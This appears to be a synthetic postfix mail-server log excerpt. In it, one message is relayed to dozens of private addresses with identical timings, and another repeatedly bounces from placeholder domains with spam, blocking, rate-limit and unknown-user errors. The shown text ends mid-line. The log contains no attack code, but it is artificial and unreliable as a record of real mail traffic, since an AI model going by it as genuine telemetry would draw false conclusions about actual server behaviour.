10:03:50 mail-server postfix/smtp[17144]: A3B4C12345: to=, relay=192.168.160.43[192.168.160.43]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:52 mail-server postfix/smtp[19246]: A3B4C12345: to=, relay=192.168.13.62[192.168.13.62]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:54 mail-server postfix/smtp[16646]: A3B4C12345: to=, relay=192.168.15.54[192.168.15.54]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:54 mail-server postfix/smtp[17528]: A3B4C12345: to=, relay=192.168.122.108[192.168.122.108]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:56 mail-server postfix/smtp[18485]: A3B4C12345: to=, relay=192.168.11.63[192.168.11.63]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:58 mail-server postfix/smtp[17991]: A3B4C12345: to=, relay=192.168.112.250[192.168.112.250]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:03:59 mail-server postfix/smtp[11536]: D4E5F67890: to=, relay=fake-email.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:03:59 mail-server postfix/smtp[16977]: A3B4C12345: to=, relay=192.168.195.234[192.168.195.234]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:00 mail-server postfix/smtp[12918]: D4E5F67890: to=, relay=webhost.org[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:00 mail-server postfix/smtp[13276]: A3B4C12345: to=, relay=192.168.25.130[192.168.25.130]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:00 mail-server postfix/smtp[13925]: A3B4C12345: to=, relay=192.168.120.66[192.168.120.66]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:01 mail-server postfix/smtp[11500]: A3B4C12345: to=, relay=192.168.234.233[192.168.234.233]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:03 mail-server postfix/smtp[10671]: A3B4C12345: to=, relay=192.168.142.50[192.168.142.50]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:03 mail-server postfix/smtp[16689]: A3B4C12345: to=, relay=192.168.250.108[192.168.250.108]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:06 mail-server postfix/smtp[11491]: D4E5F67890: to=, relay=example.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:06 mail-server postfix/smtp[14711]: D4E5F67890: to=, relay=mailservice.net[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:04:06 mail-server postfix/smtp[17388]: A3B4C12345: to=, relay=192.168.213.225[192.168.213.225]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:07 mail-server postfix/smtp[10327]: A3B4C12345: to=, relay=192.168.18.112[192.168.18.112]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:07 mail-server postfix/smtp[15484]: A3B4C12345: to=, relay=192.168.25.211[192.168.25.211]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:09 mail-server postfix/smtp[12226]: D4E5F67890: to=, relay=fake-email.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:04:10 mail-server postfix/smtp[14825]: D4E5F67890: to=, relay=fake-email.com[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:10 mail-server postfix/smtp[16775]: A3B4C12345: to=, relay=192.168.101.55[192.168.101.55]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:10 mail-server postfix/smtp[19287]: A3B4C12345: to=, relay=192.168.239.194[192.168.239.194]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:14 mail-server postfix/smtp[10036]: D4E5F67890: to=, relay=example.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 10:04:15 mail-server postfix/smtp[19468]: A3B4C12345: to=, relay=192.168.80.246[192.168.80.246]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:16 mail-server postfix/smtp[15536]: A3B4C12345: to=, relay=192.168.123.122[192.168.123.122]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:17 mail-server postfix/smtp[11727]: D4E5F67890: to=, relay=fake-email.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:04:22 mail-server postfix/smtp[18487]: D4E5F67890: to=, relay=fake-email.com[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:23 mail-server postfix/smtp[13043]: A3B4C12345: to=, relay=192.168.211.71[192.168.211.71]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:24 mail-server postfix/smtp[11427]: A3B4C12345: to=, relay=192.168.116.160[192.168.116.160]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:24 mail-server postfix/smtp[12171]: A3B4C12345: to=, relay=192.168.172.107[192.168.172.107]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:24 mail-server postfix/smtp[15265]: A3B4C12345: to=, relay=192.168.4.212[192.168.4.212]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:24 mail-server postfix/smtp[18214]: A3B4C12345: to=, relay=192.168.83.201[192.168.83.201]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:25 mail-server postfix/smtp[12406]: A3B4C12345: to=, relay=192.168.69.157[192.168.69.157]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:26 mail-server postfix/smtp[11693]: A3B4C12345: to=, relay=192.168.240.67[192.168.240.67]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:27 mail-server postfix/smtp[14186]: A3B4C12345: to=, relay=192.168.58.50[192.168.58.50]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:28 mail-server postfix/smtp[17405]: D4E5F67890: to=, relay=test-domain.io[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:30 mail-server postfix/smtp[18648]: A3B4C12345: to=, relay=192.168.75.208[192.168.75.208]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:30 mail-server systemd[73]: Starting daily clean up activities... +Aug 26 10:04:33 mail-server postfix/smtp[16872]: D4E5F67890: to=, relay=fake-email.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:34 mail-server postfix/smtp[10007]: A3B4C12345: to=, relay=192.168.7.104[192.168.7.104]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:34 mail-server postfix/smtp[15241]: A3B4C12345: to=, relay=192.168.12.117[192.168.12.117]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:35 mail-server postfix/smtp[18336]: A3B4C12345: to=, relay=192.168.2.92[192.168.2.92]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:36 mail-server postfix/smtp[12030]: A3B4C12345: to=, relay=192.168.129.95[192.168.129.95]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:36 mail-server postfix/smtp[12754]: A3B4C12345: to=, relay=192.168.220.153[192.168.220.153]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:38 mail-server postfix/smtp[13580]: A3B4C12345: to=, relay=192.168.99.61[192.168.99.61]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:39 mail-server postfix/smtp[14647]: A3B4C12345: to=, relay=192.168.129.249[192.168.129.249]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:39 mail-server postfix/smtp[19375]: A3B4C12345: to=, relay=192.168.204.154[192.168.204.154]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:41 mail-server postfix/smtp[16239]: D4E5F67890: to=, relay=test-domain.io[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:04:41 mail-server postfix/smtp[16372]: A3B4C12345: to=, relay=192.168.119.169[192.168.119.169]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:41 mail-server postfix/smtp[19781]: D4E5F67890: to=, relay=test-domain.io[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:04:42 mail-server postfix/smtp[19114]: A3B4C12345: to=, relay=192.168.6.152[192.168.6.152]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:43 mail-server postfix/smtp[11946]: A3B4C12345: to=, relay=192.168.228.154[192.168.228.154]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:44 mail-server postfix/smtp[12743]: D4E5F67890: to=, relay=mailservice.net[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:04:44 mail-server postfix/smtp[14407]: A3B4C12345: to=, relay=192.168.254.176[192.168.254.176]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:45 mail-server postfix/smtp[18370]: A3B4C12345: to=, relay=192.168.27.144[192.168.27.144]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:46 mail-server postfix/smtp[10284]: A3B4C12345: to=, relay=192.168.73.84[192.168.73.84]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:47 mail-server postfix/smtp[10951]: D4E5F67890: to=, relay=webhost.org[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:04:47 mail-server postfix/smtp[12803]: A3B4C12345: to=, relay=192.168.135.101[192.168.135.101]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:47 mail-server postfix/smtp[17311]: A3B4C12345: to=, relay=192.168.169.219[192.168.169.219]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:50 mail-server postfix/smtp[14909]: A3B4C12345: to=, relay=192.168.246.175[192.168.246.175]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:51 mail-server postfix/smtp[17396]: A3B4C12345: to=, relay=192.168.13.135[192.168.13.135]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:52 mail-server postfix/smtp[16486]: A3B4C12345: to=, relay=192.168.231.233[192.168.231.233]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:53 mail-server postfix/smtp[19158]: D4E5F67890: to=, relay=mailservice.net[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:04:54 mail-server postfix/smtp[12584]: A3B4C12345: to=, relay=192.168.196.227[192.168.196.227]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:54 mail-server postfix/smtp[19871]: A3B4C12345: to=, relay=192.168.117.5[192.168.117.5]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:56 mail-server postfix/smtp[10140]: A3B4C12345: to=, relay=192.168.192.105[192.168.192.105]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:56 mail-server postfix/smtp[12101]: A3B4C12345: to=, relay=192.168.45.162[192.168.45.162]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:57 mail-server postfix/smtp[19451]: A3B4C12345: to=, relay=192.168.228.199[192.168.228.199]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:58 mail-server postfix/smtp[14392]: A3B4C12345: to=, relay=192.168.251.71[192.168.251.71]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:58 mail-server postfix/smtp[15225]: A3B4C12345: to=, relay=192.168.126.194[192.168.126.194]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:04:58 mail-server postfix/smtp[16969]: A3B4C12345: to=, relay=192.168.233.163[192.168.233.163]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:00 mail-server CRON[1892]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 10:05:01 mail-server postfix/smtp[10157]: D4E5F67890: to=, relay=example.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:05:01 mail-server postfix/smtp[10363]: A3B4C12345: to=, relay=192.168.4.185[192.168.4.185]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:04 mail-server postfix/smtp[16866]: A3B4C12345: to=, relay=192.168.55.200[192.168.55.200]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:07 mail-server postfix/smtp[14206]: A3B4C12345: to=, relay=192.168.90.225[192.168.90.225]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:07 mail-server postfix/smtp[16807]: A3B4C12345: to=, relay=192.168.46.46[192.168.46.46]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:07 mail-server postfix/smtp[17008]: D4E5F67890: to=, relay=webhost.org[10.0.0.5]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:05:07 mail-server postfix/smtp[17498]: A3B4C12345: to=, relay=192.168.197.135[192.168.197.135]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:08 mail-server postfix/smtp[19833]: A3B4C12345: to=, relay=192.168.224.26[192.168.224.26]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:09 mail-server postfix/smtp[10092]: A3B4C12345: to=, relay=192.168.20.125[192.168.20.125]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:10 mail-server postfix/smtp[14299]: A3B4C12345: to=, relay=192.168.141.62[192.168.141.62]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:11 mail-server postfix/smtp[19262]: A3B4C12345: to=, relay=192.168.56.85[192.168.56.85]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:12 mail-server postfix/smtp[11302]: A3B4C12345: to=, relay=192.168.89.92[192.168.89.92]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:12 mail-server postfix/smtp[14224]: D4E5F67890: to=, relay=test-domain.io[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:05:13 mail-server postfix/smtp[11642]: D4E5F67890: to=, relay=test-domain.io[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:05:13 mail-server postfix/smtp[16114]: A3B4C12345: to=, relay=192.168.60.253[192.168.60.253]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:14 mail-server postfix/smtp[17447]: A3B4C12345: to=, relay=192.168.3.240[192.168.3.240]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:15 mail-server postfix/smtp[19470]: D4E5F67890: to=, relay=webhost.org[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:05:16 mail-server postfix/smtp[15586]: D4E5F67890: to=, relay=mailservice.net[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:05:16 mail-server postfix/smtp[16439]: D4E5F67890: to=, relay=test-domain.io[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:05:18 mail-server postfix/smtp[14222]: A3B4C12345: to=, relay=192.168.213.1[192.168.213.1]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:18 mail-server postfix/smtp[16524]: D4E5F67890: to=, relay=fake-email.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 550 5.1.1 User unknown) +Aug 26 10:05:19 mail-server postfix/smtp[16225]: D4E5F67890: to=, relay=example.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 550 5.1.1 User unknown) +Aug 26 10:05:19 mail-server postfix/smtp[17463]: A3B4C12345: to=, relay=192.168.216.73[192.168.216.73]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:20 mail-server postfix/smtp[15973]: D4E5F67890: to=, relay=fake-email.com[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host example.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:05:20 mail-server postfix/smtp[17641]: D4E5F67890: to=, relay=test-domain.io[10.0.0.2]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 550 5.1.1 User unknown) +Aug 26 10:05:21 mail-server postfix/smtp[10039]: A3B4C12345: to=, relay=192.168.204.118[192.168.204.118]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:21 mail-server postfix/smtp[11233]: D4E5F67890: to=, relay=test-domain.io[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:05:22 mail-server postfix/smtp[16827]: A3B4C12345: to=, relay=192.168.50.31[192.168.50.31]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:23 mail-server postfix/smtp[15821]: A3B4C12345: to=, relay=192.168.53.151[192.168.53.151]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:23 mail-server postfix/smtp[18501]: A3B4C12345: to=, relay=192.168.146.25[192.168.146.25]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:26 mail-server postfix/smtp[18767]: D4E5F67890: to=, relay=example.com[10.0.0.3]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host test-domain.io said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:05:27 mail-server postfix/smtp[18311]: A3B4C12345: to=, relay=192.168.248.106[192.168.248.106]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:29 mail-server postfix/smtp[16118]: A3B4C12345: to=, relay=192.168.150.17[192.168.150.17]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:29 mail-server postfix/smtp[18608]: A3B4C12345: to=, relay=192.168.142.254[192.168.142.254]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:30 mail-server postfix/smtp[16307]: A3B4C12345: to=, relay=192.168.31.123[192.168.31.123]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:30 mail-server postfix/smtp[18184]: D4E5F67890: to=, relay=example.com[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:05:31 mail-server postfix/smtp[13851]: A3B4C12345: to=, relay=192.168.220.41[192.168.220.41]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:31 mail-server postfix/smtp[14354]: A3B4C12345: to=, relay=192.168.166.81[192.168.166.81]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:31 mail-server postfix/smtp[19634]: D4E5F67890: to=, relay=test-domain.io[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host mailservice.net said: 450 4.2.1 The user you are trying to contact is receiving mail at a rate that prevents additional messages from being delivered) +Aug 26 10:05:32 mail-server postfix/smtp[11876]: A3B4C12345: to=, relay=192.168.100.5[192.168.100.5]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:33 mail-server postfix/smtp[19886]: A3B4C12345: to=, relay=192.168.103.235[192.168.103.235]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:35 mail-server postfix/smtp[14638]: A3B4C12345: to=, relay=192.168.74.52[192.168.74.52]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:36 mail-server postfix/smtp[14796]: A3B4C12345: to=, relay=192.168.90.170[192.168.90.170]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:37 mail-server postfix/smtp[13108]: D4E5F67890: to=, relay=webhost.org[10.0.0.4]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host webhost.org said: 550 5.7.1 Service unavailable; client [1.2.3.4] blocked) +Aug 26 10:05:37 mail-server postfix/smtp[16476]: A3B4C12345: to=, relay=192.168.164.149[192.168.164.149]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:38 mail-server postfix/smtp[12270]: A3B4C12345: to=, relay=192.168.92.149[192.168.92.149]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:38 mail-server postfix/smtp[14035]: D4E5F67890: to=, relay=mailservice.net[10.0.0.1]:25, delay=5, delays=0.1/0/4.8/0.1, dsn=5.1.1, status=bounced (host fake-email.com said: 554 5.7.1 Message rejected under suspicion of SPAM) +Aug 26 10:05:39 mail-server postfix/smtp[13623]: A3B4C12345: to=, relay=192.168.43.5[192.168.43.5]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:41 mail-server postfix/smtp[12719]: A3B4C12345: to=, relay=192.168.145.239[192.168.145.239]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:44 mail-server postfix/smtp[10247]: A3B4C12345: to=, relay=192.168.121.51[192.168.121.51]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:44 mail-server postfix/smtp[13696]: A3B4C12345: to=, relay=192.168.179.59[192.168.179.59]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:45 mail-server postfix/smtp[18412]: A3B4C12345: to=, relay=192.168.131.207[192.168.131.207]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:45 mail-server postfix/smtp[19157]: A3B4C12345: to=, relay=192.168.132.156[192.168.132.156]:25, delay=1.5, delays=0.02/0/0.5/0.98, dsn=2.0.0, status=sent (250 OK, message accepted for delivery) +Aug 26 10:05:49 mail-server postfix/smtp[14867]: D4E5F67890: to=, 